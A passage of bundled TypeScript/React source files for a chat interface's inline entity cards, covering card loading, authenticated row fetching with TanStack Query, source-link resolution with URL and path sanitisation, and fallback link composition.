extras,\n}: ChatCardLoaderProps) {\n  const runtime = useRequiredChatRuntime()\n  const resolvedChatRef = React.useMemo<ChatRef>(() => {\n    const cta = resolveSourceRowCTA(\n      {\n        sourceRepo: chatRef.sourceRepo,\n        documentType: chatRef.type,\n        id: chatRef.id,\n        title: chatRef.title,\n        externalUrl: chatRef.url,\n        targetPlatform: chatRef.targetPlatform,\n        path:\n          typeof chatRef.metadata?.path === 'string'\n            ? (chatRef.metadata.path as string)\n            : null,\n      },\n      sourceRowCtxFromRuntime(runtime, { baseRoute, chipBasePlatform }),\n    )\n    const finalHref = cta.href ? resolveHrefForRuntime(cta.href, runtime) : null\n    return {\n      ...chatRef,\n      url: finalHref ?? chatRef.url,\n      targetPlatform: cta.targetPlatform ?? chatRef.targetPlatform ?? null,\n    }\n  }, [chatRef, runtime, baseRoute, chipBasePlatform])\n\n  const entry = CHAT_CARD_REGISTRY[resolvedChatRef.type]\n  // Hook order MUST be stable across renders — call the data hook\n  // unconditionally regardless of entry mode. For non-fetch types the\n  // `contentRefType` is empty so the hook returns `isLoading=false` and\n  // `item=undefined`, which we ignore.\n  const fetchEntry = entry && entry.contentRefType ? entry : null\n  const { item, isLoading, isError, isFetched } = useChatCardItem<any>(\n    fetchEntry?.contentRefType ?? '',\n    fetchEntry ? resolvedChatRef.id : '',\n  )\n  if (!entry) return null\n\n  // Apply the post-fetch URL fallback (the ref carried no `externalUrl`).\n  // We mutate `resolvedChatRef.url` BEFORE computing isNewTab so the\n  // wrapper's interceptor sees the destination the user will actually\n  // visit. `safeHref` blocks `javascript:` / `data:` payloads even\n  // though the registry callers compose hub-internal strings today.\n  //\n  // Two sources, in order:\n  //   1. the registry's per-type `fallbackHref` — an explicit non-content\n  //      destination (marketing campaign → `/admin/...`);\n  //   2. the host's `composeContentUrl` seam via `resolveFetchedCardHref` —\n  //      the SAME resolver page cards go through. This is what makes cards\n  //      clickable on every transport: the wire ships bare\n  //      `[card://type:id]` markers with no metadata, so the ref reaches\n  //      us with `url: null` and `resolveSourceRowCTA` has nothing to route.\n  const composedHref =\n    fetchEntry?.contentRefType && !resolvedChatRef.url && item && !fetchEntry.fallbackHref && !fetchEntry.noComposedHref\n      ? resolveFetchedCardHref({\n          contentRefType: fetchEntry.contentRefType,\n          id: resolvedChatRef.id,\n          item,\n          composeContentUrl: runtime.composeContentUrl,\n        })\n      : null\n  const hrefResolvedChatRef: ChatRef =\n    fetchEntry && !resolvedChatRef.url && item && fetchEntry.fallbackHref\n      ? {\n          ...resolvedChatRef,\n          url: safeHref(fetchEntry.fallbackHref(item)),\n        }\n      : composedHref\n        ? {\n            ...resolvedChatRef,\n            url: safeHref(composedHref.href),\n            targetPlatform: composedHref.targetPlatform ?? resolvedChatRef.targetPlatform ?? null,\n          }\n        : resolvedChatRef\n\n  // Title enrichment, same synthetic-ref gap as the href above: a Mingo\n  // `[card://type:id]` marker produces `title: <id>` because the transport\n  // ships no ref metadata. Downstream consumers that read `ref.title` — most\n  // visibly the \"Ask Mingo\" prompt, which would otherwise send\n  // \"Tell me more about 86ad3qvv5\" — get the row's real title once it loads.\n  // A ref that already carries a distinct title (the SSE path) is untouched.\n  const fetchedTitle = fetchEntry && item ? readFetchedCardTitle(item) : null\n  const finalChatRef: ChatRef =\n    fetchedTitle && (!hrefResolvedChatRef.title || hrefResolvedChatRef.title === hrefResolvedChatRef.id)\n      ? { ...hrefResolvedChatRef, title: fetchedTitle }\n      : hrefResolvedChatRef\n\n  // Pre-compute new-tab decision ONCE here (the same rule chips use).\n  // Render branches that pass `target` / `rel` to their card pull this\n  // via `renderOpts.isNewTab` so the inner `<a>` agrees with the\n  // runtime nav decision in `ChatCardNavWrap` + `handleChatNavClick`.\n  const isNewTab = computeIsNewTab(runtime, finalChatRef.url, finalChatRef.targetPlatform ?? null)\n\n  // Resolve the \"Ask Mingo\"/\"Display\" affordance ONCE — same precedence as the\n  // legacy `ChatCardWithDiscuss` (displayAction + onDisplay → \"Display\",\n  // otherwise onDiscuss → \"Ask Mingo\"). Threaded into each card's \"⋯\" menu.\n  const useDisplay = !!entry.displayAction && !!onDisplay\n  const discussFn = useDisplay ? onDisplay : onDiscuss\n  const discuss: CardDiscussAction | undefined = discussFn\n    ? {\n        label: useDisplay ? 'Display' : 'Ask Mingo',\n        icon: useDisplay ? (\n          <FileContentIcon size={20} />\n        ) : (\n          <MingoIcon\n            className=\"size-5\"\n            color=\"white\"\n            eyesColor=\"var(--ods-flamingo-cyan-base)\"\n            cornerColor=\"var(--ods-flamingo-cyan-base)\"\n          />\n        ),\n        run: () => discussFn(finalChatRef),\n      }\n    : undefined\n\n  const renderOpts: ChatCardRenderOptions = {\n    baseRoute,\n    chipBasePlatform,\n    extras,\n    isNewTab,\n    discuss,\n  }\n\n  // Wrap EVERY rendered card with ChatCardNavWrap so the inner anchor's\n  // primary click routes through the chat runtime (same handler as the\n  // source chip). The card's `<a href={absolute}>` provides the visible\n  // href for hover-preview / copy-link / modifier-click; the wrapper\n  // intercepts the primary click and applies runtime nav rules.\n  const path =\n    typeof finalChatRef.metadata?.path === 'string'\n      ? (finalChatRef.metadata.path as string)\n      : null\n  const navWrap = (children: ReactNode) => (\n    <ChatCardNavWrap\n      href={finalChatRef.url ?? null}\n      path={path}\n      targetPlatform={finalChatRef.targetPlatform ?? null}\n      isNewTab={isNewTab}\n    >\n      {children}\n    </ChatCardNavWrap>\n  )\n  // ONE render tail for both modes — bare-inline cards skip the discuss\n  // wrapper; everything else gets the ChatCardWithDiscuss chrome. Kept\n  // here (not per-branch) so the two paths can never drift on the\n  // discuss-menu wiring.\n  const finish = (node: React.ReactNode) =>\n    entry.bareInline ? (\n      <>{navWrap(node)}</>\n    ) : (\n      <ChatCardWithDiscuss\n        chatRef={finalChatRef}\n        onDiscuss={onDiscuss}\n        onDisplay={onDisplay}\n        displayAction={entry.displayAction}\n      >\n        {navWrap(node)}\n      </ChatCardWithDiscuss>\n    )\n  if (!fetchEntry) {\n    // Ref-only types (`deleted_data`, `video` — nothing exists server-side\n    // to fetch): render straight from the marker's descriptor.\n    return finish(entry.render(undefined, finalChatRef, renderOpts))\n  }\n  if (isLoading) return <>{fetchEntry.skeleton?.() ?? null}</>\n  if (!item) {\n    // FAIL LOUD (explicit product decision 2026-08-13): a card that\n    // cannot hydrate renders a VISIBLE error card — silent removal made\n    // broken answers look fine. Three distinguishable states:\n    if (isError) {\n      // Transient fetch failure (auth blip, 5xx, rate limit).\n      return <CardLoadFailure label={entry.label} id={finalChatRef.id} detail=\"Failed to load\" />\n    }\n    if (!isFetched) {\n      // Query never ran — no list URL registered for this type / empty id.\n      return <CardLoadFailure label={entry.label} id={finalChatRef.id} detail=\"Not loadable\" />\n    }\n    // Successful fetch, id absent — entity gone or the LLM invented the id.\n    return <CardLoadFailure label={entry.label} id={finalChatRef.id} detail=\"Not found\" />\n  }\n  // Hero-video promotion, API-driven: when the FETCHED item carries a\n  // playable video (ChatRef-shaped items via `metadata.videoUrl` /\n  // `youtubeUrl` / `highlightVideoUrl`; content rows via the canonical\n  // `custom_video_url` / `main_video_url` columns), render the video\n  // section as a SIBLING below the compact card. NOT `<BlockCard>` —\n  // that is a render-null sentinel only chat-message-enhanced's SYNC\n  // pre-scan understands; returned from inside this loader (post-fetch,\n  // async) it renders nothing (the missing-videos regression,\n  // 2026-08-13). The loader's output already lives in a hoisted\n  // block-level sibling (`b-<key>`), so block content is legal here.\n  const videoMeta = itemVideoMetadata(item)\n  if (videoMeta) {\n    const videoRef: ChatRef = {\n      ...finalChatRef,\n      metadata: { ...(finalChatRef.metadata ?? {}), ...videoMeta },\n    }\n    return (\n      // Same 12px rhythm as the message renderer's block-sibling wrapper\n      // (`my-3` in chat-message-enhanced) so card→player spacing matches\n      // the spacing between any two hoisted blocks.\n      <div className=\"flex min-w-0 flex-col gap-3\">\n        {finish(entry.render(item, finalChatRef, renderOpts))}\n        <ChatVideoEntityCard chatRef={videoRef} />\n      </div>\n    )\n  }\n  return finish(entry.render(item, finalChatRef, renderOpts))\n}\n\n// =============================================================================\n// Public dispatch entry points\n// =============================================================================\n\n/**\n * Render the chat-inline card for a `[card://<type>:<id>]` marker.\n *\n * Single dispatch through `CHAT_CARD_REGISTRY`. The function mirrors the\n * hub's `renderChatInlineEntityCard` behavior:\n *   - Video-bearing refs return a `<BlockCard>` sentinel so the\n *     `chat-message-enhanced` pre-scan hoists the player out of the\n *     assistant paragraph.\n *   - Other refs render the compact card, optionally wrapped in a\n *     close-on-anchor-click span when `onClose` is supplied.\n */\nexport function renderChatInlineEntityCard(\n  chatRef: ChatRef,\n  options: {\n    onDiscuss?: (ref: ChatRef) => void\n    onDisplay?: (ref: ChatRef) => void\n    baseRoute?: string\n    chipBasePlatform?: string\n    extras?: ChatCardDispatchExtras\n  } = {},\n): React.ReactNode {\n  const { onDiscuss, onDisplay, baseRoute, chipBasePlatform, extras } = options\n\n  const loader = (\n    <ChatCardLoader\n      chatRef={chatRef}\n      onDiscuss={onDiscuss}\n      onDisplay={onDisplay}\n      baseRoute={baseRoute}\n      chipBasePlatform={chipBasePlatform}\n      extras={extras}\n    />\n  )\n\n  // Embedded videos are SELF-DESCRIBING: the marker id alone recovers the\n  // playable URL (`decodeVideoMarkerId`), so the player renders on ANY\n  // transport with zero refs/fetch. Undecodable ids (legacy sha1 hashes,\n  // hallucinations) fall through to the loader → plain-text degrade.\n  // Hero videos on FETCHED entity types (webinars, releases, …) are\n  // handled post-fetch inside ChatCardLoader (`itemVideoMetadata`) — the\n  // marker's ref plays no part in either path.\n  if (chatRef.type === 'video') {\n    const decoded = decodeVideoMarkerId(chatRef.id)\n    if (decoded) {\n      const displayRef: ChatRef = {\n        ...chatRef,\n        title: chatRef.title && chatRef.title !== chatRef.id ? chatRef.title : 'Video',\n        url: chatRef.url ?? (decoded.videoUrl ?? (decoded.youtubeUrl ? `https://www.youtube.com/watch?v=${decoded.youtubeUrl}` : null)),\n        metadata: { ...(chatRef.metadata ?? {}), ...decoded },\n      }\n      return (\n        <BlockCard inline={<ChatInlineVideoPill chatRef={displayRef} />}>\n          <ChatVideoEntityCard chatRef={displayRef} />\n        </BlockCard>\n      )\n    }\n    return loader\n  }\n\n  return loader\n}\n\n// =============================================================================\n// NavLink wiring for callers that need to compose anchors (Task 2 + Task 3)\n// =============================================================================\n\n/** Re-export so call sites can wrap any subtree with chat-runtime\n *  routing in a single import. */\nexport { NavLinkAnchorViaRuntime }\n","'use client'\n\n/**\n * useChatCardItem — fetches the full mapped item for an inline chat\n * card via the SAME list-API endpoint the public pages use.\n *\n * Single source of truth: no parallel `buildImageUrl` / `buildMetadata`\n * synthesis. The chat renders the same shape, with the same joins\n * (author / categories / platforms / hosts / etc.), as `/blog`,\n * `/case-studies`, `/podcasts`, `/roadmap`, etc.\n *\n * Batching: every compact card with the same `(type, id)` shares one\n * TanStack-Query entry; CONCURRENT refs of the same type in the same\n * chat message produce ONE network request (TanStack dedups in-flight\n * fetches by queryKey). Data is always stale — see the query options.\n *\n * URL builder is read from `runtime.endpoints.buildListUrl` so the\n * embedded app can supply a per-type URL builder against the reverse\n * proxy; the hub wires the registry-driven builder directly.\n */\n\nimport { useQuery } from '@tanstack/react-query'\nimport { useRequiredChatRuntime } from '../../../contexts/chat-runtime-context'\nimport { embedAuthedFetch } from '../../../utils/embed-authed-fetch'\nimport { extractItems, extractItemId } from '../../../utils/extract-items'\n\nexport interface UseChatCardItemResult<T = unknown> {\n  item: T | undefined\n  isLoading: boolean\n  isError: boolean\n  /** True only after a fetch actually completed — false for disabled\n   *  queries (no list URL for the type / empty id). */\n  isFetched: boolean\n}\n\n// `extractItems` / `extractItemId` hoisted to `src/utils/extract-items.ts`\n// (shared with the related-content rail — react-query-free home).\n\nexport function useChatCardItem<T = unknown>(\n  type: string,\n  id: string,\n): UseChatCardItemResult<T> {\n  // Read the list-URL builder from the chat runtime — hub uses the\n  // rag-table-config registry directly; embedded apps supply a per-type\n  // URL builder against the reverse proxy.\n  const runtime = useRequiredChatRuntime()\n  const url = runtime.endpoints.buildListUrl(type, [id])\n  const query = useQuery({\n    queryKey: ['chat-card-item', type, id],\n    queryFn: async (): Promise<T | null> => {\n      if (!url) return null\n      // Go through `embedAuthedFetch` (NOT bare `fetch`) so the request\n      // rides the same auth path as the chat stream/commands: it consults\n      // the host-registered `EmbedAuthAdapter` (cookie `credentials:'include'`\n      // cross-origin, dev-ticket Bearer, 401 refresh-and-retry). Bare `fetch`\n      // sent no credentials, so list endpoints behind the gateway returned\n      // 401 and the card rendered blank.\n      const res = await embedAuthedFetch(url)\n      // THROW on non-OK (was `return null`): callers must be able to\n      // tell \"fetched fine, entity absent\" (→ deleted tombstone) from\n      // \"fetch failed\" (401 refresh miss, 5xx, 429 → transient; render\n      // nothing, never a false 'deleted' claim). TanStack surfaces the\n      // throw as `isError`.\n      if (!res.ok) throw new Error(`chat card fetch failed: ${res.status}`)\n      const data = await res.json()\n      const items = extractItems(data)\n      const match = items.find((it) => extractItemId(type, it) === id)\n      return (match ?? null) as T | null\n    },\n    enabled: !!url && id.length > 0,\n    // ALWAYS FRESH — no freshness window. Card entities are mutable\n    // (tickets, tasks change status), so a cached row is a lie waiting to\n    // render: a 5-min staleTime shipped a \"NEW\" badge on a ticket the\n    // receipt right above it said was just CLOSED (2026-08-18). Every\n    // mount refetches. `gcTime` is kept ONLY as render continuity: a card\n    // inside a STREAMING assistant message re-mounts on every chunk as the\n    // surrounding markdown re-parses, and the previous data renders while\n    // the refetch is in flight — no skeleton flash, never stale-forever.\n    staleTime: 0,\n    gcTime: 30 * 60 * 1000,\n  })\n  return {\n    item: (query.data ?? undefined) as T | undefined,\n    isLoading: query.isLoading,\n    isError: query.isError,\n    // True only after the query actually completed a fetch. DISABLED\n    // queries (no list URL registered for the type, empty id) never\n    // fetch — `item` is undefined there as well, and callers must not\n    // read that as \"fetched fine, entity absent\" (tombstone gate in\n    // entity-cards/dispatch.tsx).\n    isFetched: query.isFetched,\n  }\n}\n","/**\n * Single source of truth for \"what does clicking THIS row do?\" across\n * the chat-adjacent surfaces (source chips, inline cards, search results).\n *\n * Lib-side refactor of the hub's `lib/utils/source-row-cta.ts`. Drops:\n *   - `currentPlatform()`        — host injects via `ctx.currentPlatform`\n *   - `traceCompose()` logging   — lib stays log-free; hosts can wrap\n *   - `tableIdForDocumentType`   — host injects via `ctx.tableIdForDocumentType`\n *\n * The contract:\n *   - `icon` + `iconLabel` — for visual + a11y. Sourced from\n *     `SOURCE_ICON_NAMES` keyed by the row's `sourceRepo` (config id),\n *     resolved to a React component via `ICON_REGISTRY`.\n *   - `href` — destination URL. `null` means \"no public viewer; Ask is\n *     the only action\". Honors the inline card / chip / search bar's\n *     existing fallback chain (externalUrl → in-app path → null) and\n *     also runs `safeHref()` on the final value so a hostile RAG row\n *     can't land `javascript:` / `data:` in the DOM.\n *   - `askable` — whether the Ask drill-in flow can fire. Requires a\n *     non-empty `id` AND a `documentType`.\n *   - `chatRef` — pre-synthesized `ChatRef` for the Ask handler.\n */\n\nimport React from 'react'\nimport { FileText } from 'lucide-react'\nimport { getSourceIconName } from './source-icons'\nimport { getIconComponent } from './icon-registry'\nimport { getBaseUrl } from '../../../utils/cn'\nimport { safeHref } from './compact-card-classes'\nimport type { ChatRef } from '../chat-ref.types'\nimport type { ComposeContentUrl } from '../../../utils/content-href'\nimport { canonicalContentRefType } from '../../../utils/list-url'\n\n/** Path sanitization — keep alphanumerics, slash, dash, dot, underscore;\n *  strip everything else. Defends against a hostile mapper returning a\n *  path with `..` traversal or query-string injection. */\nfunction sanitizePath(path: string): string {\n  return (path || '').replace(/[^a-zA-Z0-9/_\\-.]/g, '')\n}\n\nexport interface SourceRowInput {\n  /** RagTableConfig.id (e.g. 'blog-posts', 'financial-cap-table'). Drives\n   *  icon resolution via `SOURCE_ICON_NAMES` + `ICON_REGISTRY`. */\n  sourceRepo?: string | null\n  /** The config's `documentType` (e.g. 'blog_post', 'cap_table'). Drives\n   *  the Ask drill-in's `ChatRef.type`. */\n  documentType?: string | null\n  /** Primary-key value of the row (config.primaryKey). Required for Ask. */\n  id?: string | null\n  /** Display title. */\n  title: string\n  /** Resolved public URL when the row HAS a viewer. `null`/undefined when\n   *  the row has no public destination — surface decides Ask-only behavior. */\n  externalUrl?: string | null\n  /** Platform that owns `externalUrl`. */\n  targetPlatform?: string | null\n  /** In-app navigator path (e.g. `legal/fundraising/.../safe`). */\n  path?: string | null\n}\n\nexport interface SourceRowContext {\n  /** Chat shell's base route — `/data-room`, `/knowledge-base`, etc. */\n  baseRoute?: string\n  /** Cross-platform target for the chip / card click. */\n  chipBasePlatform?: string\n  /**\n   * Host-supplied current-platform identifier. Used as the\n   * `targetPlatform` for path-based fallback URLs that point to the\n   * host's own surface. When omitted, path-based fallback rows get a\n   * `null` targetPlatform — consumers fall back to their legacy\n   * origin-check.\n   */\n  currentPlatform?: string | null\n  /**\n   * Host-supplied reverse map: documentType → tableId. Used to derive\n   * `sourceRepo` from `documentType` when the caller didn't supply it\n   * (inline cards know `ref.type` but not `sourceRepo`). When omitted,\n   * the resolver falls back to the documentType reverse-map miss and\n   * keeps the FileText icon.\n   */\n  tableIdForDocumentType?: (documentType: string) => string | null\n  /**\n   * Host-supplied unified content-href resolver (`runtime.composeContentUrl`).\n   * When provided, entity rows WITH a public `externalUrl` resolve their href\n   * through it — so the host's `hostedTypes` / `overrides` route a chat card to\n   * the SAME destination as the equivalent page-view card (in-app for hosted\n   * types, the hub URL otherwise). When omitted, the row's `externalUrl` is used\n   * verbatim (legacy).\n   */\n  composeContentUrl?: ComposeContentUrl\n  /**\n   * Host-supplied per-`documentType` doc-viewer targets — the UNIFIED, DYNAMIC\n   * replacement for the single `chipBasePlatform`. Maps a doc-table documentType\n   * (`'markdown'`, `'data_room_doc'`, …) → the platform whose PUBLIC doc viewer\n   * hosts it + that viewer's base path. A doc chip with no `externalUrl` resolves\n   * to `getBaseUrl(platform)/<basePath>/<path>` PER ROW — so a chat mixing several\n   * doc sources sends EACH to its own home (markdown→flamingo/knowledge-base,\n   * data_room_doc→company-hub/data-room) instead of one static fallback for all.\n   * Wins over `chipBasePlatform` when a row's documentType has an entry.\n   */\n  docPlatformTargets?: Record<string, { platform: string; basePath: string }>\n}\n\nexport interface SourceRowCTA {\n  /** Source icon component. Always defined — falls back to `FileText`. */\n  icon: React.ComponentType<{ className?: string }>\n  /** Human-readable label for the icon. */\n  iconLabel: string\n  /** Resolved destination URL. `null` when the row has no openable\n   *  target. Already passed through `safeHref()`. */\n  href: string | null\n  /** Platform that owns the destination. `null` when the row has no\n   *  openable target OR the destination is external/unknown. */\n  targetPlatform: string | null\n  /** When true, the surface can fire the Ask drill-in flow for this row. */\n  askable: boolean\n  /** Pre-synthesized `ChatRef` for the Ask handler. `null` when not askable. */\n  chatRef: ChatRef | null\n}\n\n/**\n * Build a `SourceRowContext` from a `ChatRuntime` + the surface's `baseRoute` /\n * `chipBasePlatform`. The runtime-derived fields (`currentPlatform`, `composeContentUrl`,\n * `docPlatformTargets`) are wired identically at every `resolveSourceRowCTA` call site\n * (source chips + inline cards), so they live here once — adding a ctx field is then a\n * one-line change instead of editing all three call sites.\n */\nexport function sourceRowCtxFromRuntime(\n  runtime: {\n    source?: string\n    composeContentUrl?: ComposeContentUrl\n    docPlatformTargets?: SourceRowContext['docPlatformTargets']\n  },\n  surface: { baseRoute?: string; chipBasePlatform?: string } = {},\n): SourceRowContext {\n  return {\n    currentPlatform: runtime.source ?? null,\n    composeContentUrl: runtime.composeContentUrl,\n    docPlatformTargets: runtime.docPlatformTargets,\n    baseRoute: surface.baseRoute,\n    chipBasePlatform: surface.chipBasePlatform,\n  }\n}\n\n/**\n * Pure icon-resolution helper — `sourceRepo` (RagTableConfig.id) →\n * icon_name via `SOURCE_ICON_NAMES`, then icon_name → React component\n * via `ICON_REGISTRY`.\n */\nfunction pickSourceIcon(sourceRepo: string | null, documentType: string | null | undefined) {\n  const iconName = sourceRepo ? getSourceIconName(sourceRepo) : undefined\n  const icon = iconName ? getIconComponent(iconName) : FileText\n  const iconLabel = documentType ?? 'Source'\n  return { icon, iconLabel }\n}\n\n/**\n * Doc-table documentTypes — rows that carry an in-app `path` (not an entity\n * `externalUrl`) and resolve to a doc viewer. The SAME set an embedder keys its\n * `docPlatformTargets` map by (markdown = product docs, data_room_doc = data room),\n * declared once so the two can't silently diverge.\n */\nexport const DOC_TABLE_TYPES = ['markdown', 'data_room_doc'] as const\n\n/**\n * Only doc-table rows (DOC_TABLE_TYPES) fall back to doc-viewer navigation when no\n * `externalUrl` is set; the in-app/per-platform viewer can render them. Entity-table\n * rows MUST come with an explicit `externalUrl` from the mapper.\n */\nfunction shouldFallbackToPathNav(row: SourceRowInput): boolean {\n  return !!row.documentType && (DOC_TABLE_TYPES as readonly string[]).includes(row.documentType)\n}\n\n/**\n * Resolve the CTA contract for a row. Pure function — no DOM, no fetch,\n * no logging. Call from any surface (chip, card, search result) with the\n * same row shape and get the same answer back.\n */\nexport function resolveSourceRowCTA(\n  row: SourceRowInput,\n  ctx: SourceRowContext = {},\n): SourceRowCTA {\n  // Derive sourceRepo from documentType when the caller didn't supply\n  // it. Inline cards know `ref.type` (documentType) but not `sourceRepo`;\n  // chips and search results have sourceRepo directly. The host supplies\n  // the reverse map via `ctx.tableIdForDocumentType`.\n  const sourceRepo = row.sourceRepo\n    ?? (row.documentType && ctx.tableIdForDocumentType ? ctx.tableIdForDocumentType(row.documentType) : null)\n    ?? null\n\n  const { icon, iconLabel } = pickSourceIcon(sourceRepo, row.documentType)\n\n  // URL resolution. `idValue` (row primary key) is shared with the Ask\n  // drill-in check below.\n  let href: string | null = null\n  let targetPlatform: string | null = null\n  const idValue = (row.id ?? '').trim()\n  if (row.path && shouldFallbackToPathNav(row) && !row.externalUrl) {\n    // Doc-table (markdown / data-room PDF) with no public URL. Resolve where its\n    // viewer lives, in priority order (NOT a content type the composeContentUrl\n    // seam knows — docs carry a tree `path`, not a slug/id):\n    //   1. docPlatformTargets[documentType] — per-doc-type cross-platform target.\n    //      The UNIFIED, DYNAMIC path: a chat mixing multiple doc sources routes\n    //      EACH row to its own home (markdown→flamingo, data_room_doc→company-hub).\n    //   2. chipBasePlatform — legacy SINGLE cross-platform fallback (one platform\n    //      for every doc; only safe when a surface sees just one doc source).\n    //   3. baseRoute — the host serves the doc viewer in-app → relative path nav.\n    //   else → null (no viewer configured → Ask-only).\n    const safePath = sanitizePath(row.path)\n    if (safePath) {\n      const docTarget = row.documentType ? ctx.docPlatformTargets?.[row.documentType] : undefined\n      if (docTarget) {\n        // Trim leading/trailing (and collapse empty) segments WITHOUT a regex — the\n        // slash-stripping regex `/^\\/+|\\/+$/g` tripped CodeQL's js/polynomial-redos (high)\n        // since `\\/+$` backtracks on inputs with many '/'. split/filter/join is linear.\n        const seg = docTarget.basePath.split('/').filter(Boolean).join('/')\n        const base = `${getBaseUrl(docTarget.platform)}${seg ? `/${seg}` : ''}/`\n        href = safeHref(new URL(safePath, base).toString()) ?? null\n        targetPlatform = docTarget.platform\n      } else if (ctx.chipBasePlatform) {\n        const base = `${getBaseUrl(ctx.chipBasePlatform)}/knowledge-base/`\n        href = safeHref(new URL(safePath, base).toString()) ?? null\n        targetPlatform = ctx.chipBasePlatform\n      } else if (ctx.baseRoute) {\n        const synthetic = `https://_internal_.local${ctx.baseRoute.startsWith('/') ? ctx.baseRoute : '/' + ctx.baseRoute}/`\n        const absolute = new URL(safePath, synthetic).toString()\n        href = safeHref(absolute.replace('https://_internal_.local', '')) ?? null\n        targetPlatform = ctx.currentPlatform ?? null\n      }\n    }\n  } else if (ctx.composeContentUrl && row.documentType && row.externalUrl) {\n    // Entity content WITH a public viewer → the unified content-href seam. The\n    // host's hostedTypes/overrides route hosted types in-app (slug relativized\n    // from the externalUrl) and everything else to the externalUrl verbatim —\n    // the SAME resolver the page-view cards use, so chat + page links match.\n    const composed = ctx.composeContentUrl({\n      // Canonical vocabulary only — a rail-vocab alias would miss the host's\n      // `hostedTypes` / `overrides` and fall through to the seam's default\n      // `<origin>/<type>/<id>` branch. Same canonicalizer `buildListUrl` uses.\n      type: canonicalContentRefType(row.documentType),\n      identifier: idValue,\n      externalUrl: row.externalUrl,\n      targetPlatform: row.targetPlatform ?? null,\n    })\n    href = composed.href ? (safeHref(composed.href) ?? null) : null\n    targetPlatform = composed.targetPlatform\n  } else if (row.externalUrl) {\n    // No composer wired → legacy: the RAG externalUrl verbatim.\n    href = safeHref(row.externalUrl) ?? null\n    targetPlatform = row.targetPlatform ?? null\n  }\n\n  // Ask drill-in viability. (`idValue` computed above.)\n  const askable = !!(idValue && row.documentType)\n  const chatRef: ChatRef | null = askable\n    ? ({\n        type: row.documentType!,\n        ...(sourceRepo ? { sourceRepo } : {}),\n        id: idValue,\n        title: row.title,\n        url: href,\n        targetPlatform,\n        // Carry `path` so a downstream inline card (rendered from this\n        // chatRef on a subsequent turn) gets the same doc-tree-swap\n        // routing the chip already used. Without it, the Ask drill-in\n        // would resolve to a same-tab full-page nav even when an in-app\n        // path is available.\n        ...(row.path ? { metadata: { path: row.path } } : {}),\n      } as ChatRef)\n    : null\n\n  return { icon, iconLabel, href, targetPlatform, askable, chatRef }\n}\n\n/**\n * Convenience helper for callers that just need the source icon —\n * inline cards' tracking strip + the search-bar dropdown row, today.\n *\n * Single source of truth: every consumer (chips, search results,\n * inline cards) routes through `SOURCE_ICON_NAMES` + `ICON_REGISTRY`.\n *\n * Accepts a string for backward-compatibility with the single-arg call\n * shape — treated as `documentType`.\n */\nexport function resolveSourceIcon(\n  input: { sourceRepo?: string | null; documentType?: string | null } | string | null | undefined,\n  ctx: { tableIdForDocumentType?: (documentType: string) => string | null } = {},\n): {\n  Icon: React.ComponentType<{ className?: string }>\n  label: string\n} {\n  if (!input) return { Icon: FileText, label: 'Source' }\n  const { sourceRepo, documentType } = typeof input === 'string'\n    ? { sourceRepo: null, documentType: input }\n    : input\n  if (!sourceRepo && !documentType) return { Icon: FileText, label: 'Source' }\n  const resolvedRepo = sourceRepo\n    ?? (documentType && ctx.tableIdForDocumentType ? ctx.tableIdForDocumentType(documentType) : null)\n    ?? null\n  const { icon, iconLabel } = pickSourceIcon(resolvedRepo, documentType)\n  return { Icon: icon, label: iconLabel }\n}\n","/**\n * Post-fetch href fallback for an inline chat card whose `ChatRef` carried no\n * `externalUrl`.\n *\n * ## Why a fetch-mode card can arrive without a URL\n *\n * The two chat transports deliver entity references differently:\n *\n *   - **SSE / guide transport** — the server ships a `refs` metadata frame, so\n *     each `[card://type:id]` marker expands into a FULL `ChatRef`\n *     (`title` / `url` / `targetPlatform` / `sourceRepo`). `resolveSourceRowCTA`\n *     then routes that `externalUrl` through the host's `composeContentUrl`\n *     seam and the card is clickable.\n *   - **Mingo / NATS transport** (`messageData: [{ type: 'GUIDE' | 'TEXT', text }]`)\n *     — the body carries bare `[card://type:id]` markers and NOTHING else.\n *     `chat-message-enhanced.tsx` synthesizes a minimal `{ type, id, title: id,\n *     url: null }` ref so fetch-mode cards can still self-fetch their row, but\n *     `resolveSourceRowCTA` has no `externalUrl`, no `path` and no\n *     `targetPlatform` to work with → `href: null` → the card renders with its\n *     real title and description but goes nowhere when clicked.\n *\n * This resolver closes that gap WITHOUT a second URL vocabulary: it calls the\n * exact same `composeContentUrl` seam the page cards (`resolveContentHref`) and\n * the SSE cards (`resolveSourceRowCTA`) use, so one host config —\n * `hostedTypes` / `suffixes` / `overrides` — governs all three.\n *\n * `identifier` stays the marker's primary key (that is what `overrides` such as\n * roadmap's `?search=<task id>` deep-link on); the row's `slug` rides the\n * separate `slug` hint for hosted types whose detail route is slug-based.\n *\n * Pure — no React, no DOM. The caller owns `safeHref` validation.\n */\n\nimport type { ComposeContentUrl } from '../../../utils/content-href'\nimport { canonicalContentRefType } from '../../../utils/list-url'\n\nexport interface FetchedCardHrefInput {\n  /** Canonical `documentType` for the seam (registry `contentRefType`). */\n  contentRefType: string\n  /** The marker's primary key — `ChatRef.id`, NOT the fetched row's id. */\n  id: string\n  /** The row the card fetched. Shape is per-type and opaque here; only\n   *  `slug` and `platforms` are read, both defensively. */\n  item: unknown\n  /** Host seam. Absent (unwired runtime) → no fallback, same as today. */\n  composeContentUrl?: ComposeContentUrl\n}\n\n/** Read `item.slug` when it is a non-empty string. */\nfunction readSlug(item: unknown): string | null {\n  if (!item || typeof item !== 'object') return null\n  const slug = (item as { slug?: unknown }).slug\n  return typeof slug === 'string' && slug.trim() ? slug.trim() : null\n}\n\n/**\n * Human title of a fetched row — `title`, else `name`, else null.\n *\n * A Mingo synthetic ref carries `title: <the marker id>` because that is all\n * the transport shipped. Everything downstream that prints or sends the title\n * (the \"Ask Mingo\" prompt, host renderers falling back to `ref.title`) would\n * otherwise say `86ad3qvv5`. Once the row loads, this is the real title.\n */\nexport function readFetchedCardTitle(item: unknown): string | null {\n  if (!item || typeof item !== 'object') return null\n  for (const key of ['title', 'name'] as const) {\n    const value = (item as Record<string, unknown>)[key]\n    if (typeof value === 'string' && value.trim()) return value.trim()\n  }\n  return null\n}\n\n/** Read the row's platform-association array — the hub composer keys its\n *  cross-platform topology off it; the embedder default ignores it. Hub\n *  list-API rows carry the array under the registry arrayKey\n *  `<canonicalType>_platforms` (e.g. `blog_post_platforms`), with a plain\n *  `platforms` fallback for shapes that use the generic key. */\nfunction readPlatforms(item: unknown, canonicalType: string): Array<{ name?: string }> | undefined {\n  if (!item || typeof item !== 'object') return undefined\n  const obj = item as Record<string, unknown>\n  for (const key of [`${canonicalType}_platforms`, 'platforms']) {\n    const platforms = obj[key]\n    if (Array.isArray(platforms)) return platforms as Array<{ 